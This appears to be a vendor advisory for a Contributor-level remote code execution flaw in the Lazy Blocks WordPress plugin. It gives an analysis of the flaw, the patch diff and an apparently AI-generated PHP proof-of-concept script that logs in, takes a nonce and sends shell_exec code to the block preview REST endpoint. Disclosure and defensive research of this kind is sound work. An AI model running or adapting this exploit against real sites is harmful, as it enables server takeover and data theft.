Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1560: Custom Block Builder – Lazy Blocks <= 4.2.0 – Authenticated (Contributor+) Remote Code Execution (lazy-blocks)

CVE ID CVE-2026-1560
Plugin lazy-blocks
Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.2.0
Patched Version 4.2.1
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1560:
The vulnerability is an authenticated remote code execution flaw in the Lazy Blocks WordPress plugin (<=4.2.0). The plugin's block builder functionality fails to properly restrict PHP code execution for users without the unfiltered_html capability. This allows Contributor-level and higher authenticated users to execute arbitrary PHP code on the server via block preview and save operations, resulting in a high-severity (CVSS 8.8) vulnerability.

The root cause lies in two functions within the LazyBlocks_Blocks class. In the save_meta_blocks function (lazy-blocks/classes/class-blocks.php lines 771-784), the plugin processes block metadata without checking user capabilities before accepting PHP code in lazyblocks_code_editor_html and lazyblocks_code_frontend_html fields. In the render_callback function (lines 1811-1827), the plugin executes PHP code via the php_eval method during block preview rendering without verifying the user has unfiltered_html capability when $lzb_block_builder_preview is active.

Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker would send a POST request to the WordPress REST API endpoint /wp-json/lazy-blocks/v1/block_builder_preview/ with a malicious block configuration. The payload would include code_output_method set to 'php' and custom_render containing arbitrary PHP code. Alternatively, the attacker could save a malicious block via the block editor, injecting PHP code into lazyblocks_code_editor_html or lazyblocks_code_frontend_html metadata fields, which would then execute when the block renders.

The patch adds capability checks in three locations. First, in save_meta_blocks (lines 771-784), it skips processing lazyblocks_code_editor_html and lazyblocks_code_frontend_html fields for users lacking unfiltered_html capability. Second, in render_callback (lines 1811-1827), it checks $lzb_block_builder_preview context and returns a WP_Error if the user lacks unfiltered_html capability. Third, in block_builder_preview_permission (lazy-blocks/classes/class-rest.php lines 182-198), it adds an additional check rejecting PHP output blocks for users without unfiltered_html capability.

Successful exploitation grants the attacker arbitrary PHP code execution on the WordPress server with web server privileges. This enables complete system compromise, including file system access, database manipulation, backdoor installation, privilege escalation to WordPress administrator, and lateral movement within the hosting environment. The attacker can exfiltrate sensitive data, deface websites, or use the server as a pivot point for further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/lazy-blocks/build/control-gallery.asset.php
+++ b/lazy-blocks/build/control-gallery.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-block-editor', 'wp-components', 'wp-data', 'wp-hooks', 'wp-i18n'), 'version' => 'ea5a629bfd42e3a6869e');
+<?php return array('dependencies' => array('wp-block-editor', 'wp-components', 'wp-data', 'wp-hooks', 'wp-i18n'), 'version' => 'b3f977ca86f25e057136');
--- a/lazy-blocks/build/control-image.asset.php
+++ b/lazy-blocks/build/control-image.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-block-editor', 'wp-components', 'wp-data', 'wp-hooks', 'wp-i18n'), 'version' => '3721db39a0450ed21c62');
+<?php return array('dependencies' => array('wp-block-editor', 'wp-components', 'wp-data', 'wp-hooks', 'wp-i18n'), 'version' => '1940cddfba02fc61b722');
--- a/lazy-blocks/classes/class-blocks.php
+++ b/lazy-blocks/classes/class-blocks.php
@@ -771,6 +771,16 @@
 					'lazyblocks_style_block' === $meta ||
 					'lazyblocks_script_view' === $meta
 				) {
+					// Disallow PHP code for users without unfiltered_html capability.
+					if (
+						(
+							'lazyblocks_code_editor_html' === $meta ||
+							'lazyblocks_code_frontend_html' === $meta
+						) &&
+						! $this->is_allowed_unfiltered_html()
+					) {
+						continue;
+					}
 					$new_meta_value = wp_slash( $data[ $meta ] );
 				} else {
 					$new_meta_value = wp_slash( $data[ $meta ] );
@@ -1811,6 +1821,12 @@
 			} elseif ( isset( $code[ $custom_render_name ] ) ) {
 				// PHP output.
 				if ( isset( $code['output_method'] ) && 'php' === $code['output_method'] ) {
+					// Only check capabilities when in block builder preview context (creating/editing unsaved blocks).
+					// Saved blocks should render for all users regardless of who is viewing.
+					global $lzb_block_builder_preview;
+					if ( ! empty( $lzb_block_builder_preview ) && ! $this->is_allowed_unfiltered_html() ) {
+						return new WP_Error( 'lazy_block_cannot_execute_php', __( 'Not allowed to execute PHP code.', 'lazy-blocks' ) );
+					}
 					$result = $this->php_eval( $code[ $custom_render_name ], $attributes, $context );

 					// Handlebars.
@@ -1941,7 +1957,18 @@
 			// Then they are removed this option and we reverted this anchor render back
 			//
 			// @link https://github.com/WordPress/gutenberg/pull/51288.
-			if ( isset( $attributes['anchor'] ) && $attributes['anchor'] ) {
+			// Check if WordPress will add the id via apply_block_supports() to avoid duplication.
+			// get_block_wrapper_attributes() merges extra_attributes with block supports, concatenating duplicate ids.
+			$wp_block_supports_attrs = array();
+			if ( class_exists( 'WP_Block_Supports' ) && ! empty( WP_Block_Supports::$block_to_render ) ) {
+				$wp_block_supports_attrs = WP_Block_Supports::get_instance()->apply_block_supports();
+			}
+
+			// Only set anchor if:
+			// 1. id is not already set from useBlockProps attributes.
+			// 2. anchor attribute exists and has a value.
+			// 3. WordPress block supports won't add it (would cause duplication).
+			if ( isset( $attributes['anchor'] ) && $attributes['anchor'] && ! isset( $array_atts['id'] ) && empty( $wp_block_supports_attrs['id'] ) ) {
 				$array_atts['id'] = esc_attr( $attributes['anchor'] );
 			}

--- a/lazy-blocks/classes/class-rest.php
+++ b/lazy-blocks/classes/class-rest.php
@@ -182,7 +182,23 @@
 	 * @return WP_REST_Response|true
 	 */
 	public function block_builder_preview_permission( $request ) {
-		return $this->get_block_data_permission( $request );
+		$base_permission = $this->get_block_data_permission( $request );
+
+		if ( is_wp_error( $base_permission ) || true !== $base_permission ) {
+			return $base_permission;
+		}
+
+		// Check if the block uses PHP output method and requires unfiltered_html capability.
+		$block = $request->get_param( 'block' );
+		if (
+			isset( $block['code_output_method'] ) &&
+			'php' === $block['code_output_method'] &&
+			! current_user_can( 'unfiltered_html' )
+		) {
+			return $this->error( 'lazy_block_cannot_execute_php', esc_html__( 'Not allowed to execute PHP code.', 'lazy-blocks' ), true );
+		}
+
+		return true;
 	}

 	/**
--- a/lazy-blocks/lazy-blocks.php
+++ b/lazy-blocks/lazy-blocks.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:  Lazy Blocks
  * Description:  Easily create custom blocks and custom meta fields for Gutenberg without hard coding.
- * Version:      4.2.0
+ * Version:      4.2.1
  * Plugin URI:   https://www.lazyblocks.com/?utm_source=wordpress.org&utm_medium=readme&utm_campaign=byline
  * Author:       Lazy Blocks Team
  * Author URI:   https://www.lazyblocks.com/?utm_source=wordpress.org&utm_medium=readme&utm_campaign=byline
@@ -18,7 +18,7 @@
 }

 if ( ! defined( 'LAZY_BLOCKS_VERSION' ) ) {
-	define( 'LAZY_BLOCKS_VERSION', '4.2.0' );
+	define( 'LAZY_BLOCKS_VERSION', '4.2.1' );
 }

 if ( ! class_exists( 'LazyBlocks' ) ) :

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1560 - Custom Block Builder – Lazy Blocks <= 4.2.0 - Authenticated (Contributor+) Remote Code Execution

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1560');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

$response = curl_exec($ch);

// Step 2: Extract nonce from block builder page
$block_builder_url = $target_url . '/wp-admin/post-new.php?post_type=lazyblocks';
curl_setopt_array($ch, [
    CURLOPT_URL => $block_builder_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);

$response = curl_exec($ch);
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Execute PHP code via block preview endpoint
$exploit_url = $target_url . '/wp-json/lazy-blocks/v1/block_builder_preview/';
$malicious_php = 'echo "VULNERABLE: " . shell_exec("id");';

$payload = json_encode([
    'block' => [
        'code_output_method' => 'php',
        'code_custom_render' => $malicious_php,
        'slug' => 'exploit-block'
    ],
    'attributes' => [],
    'context' => []
]);

curl_setopt_array($ch, [
    CURLOPT_URL => $exploit_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce
    ]
]);

$response = curl_exec($ch);
curl_close($ch);

// Step 4: Check for successful execution
echo "Response: " . $response . "n";
if (strpos($response, 'VULNERABLE:') !== false) {
    echo "[+] RCE successfuln";
} else {
    echo "[-] Exploit failedn";
}

unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School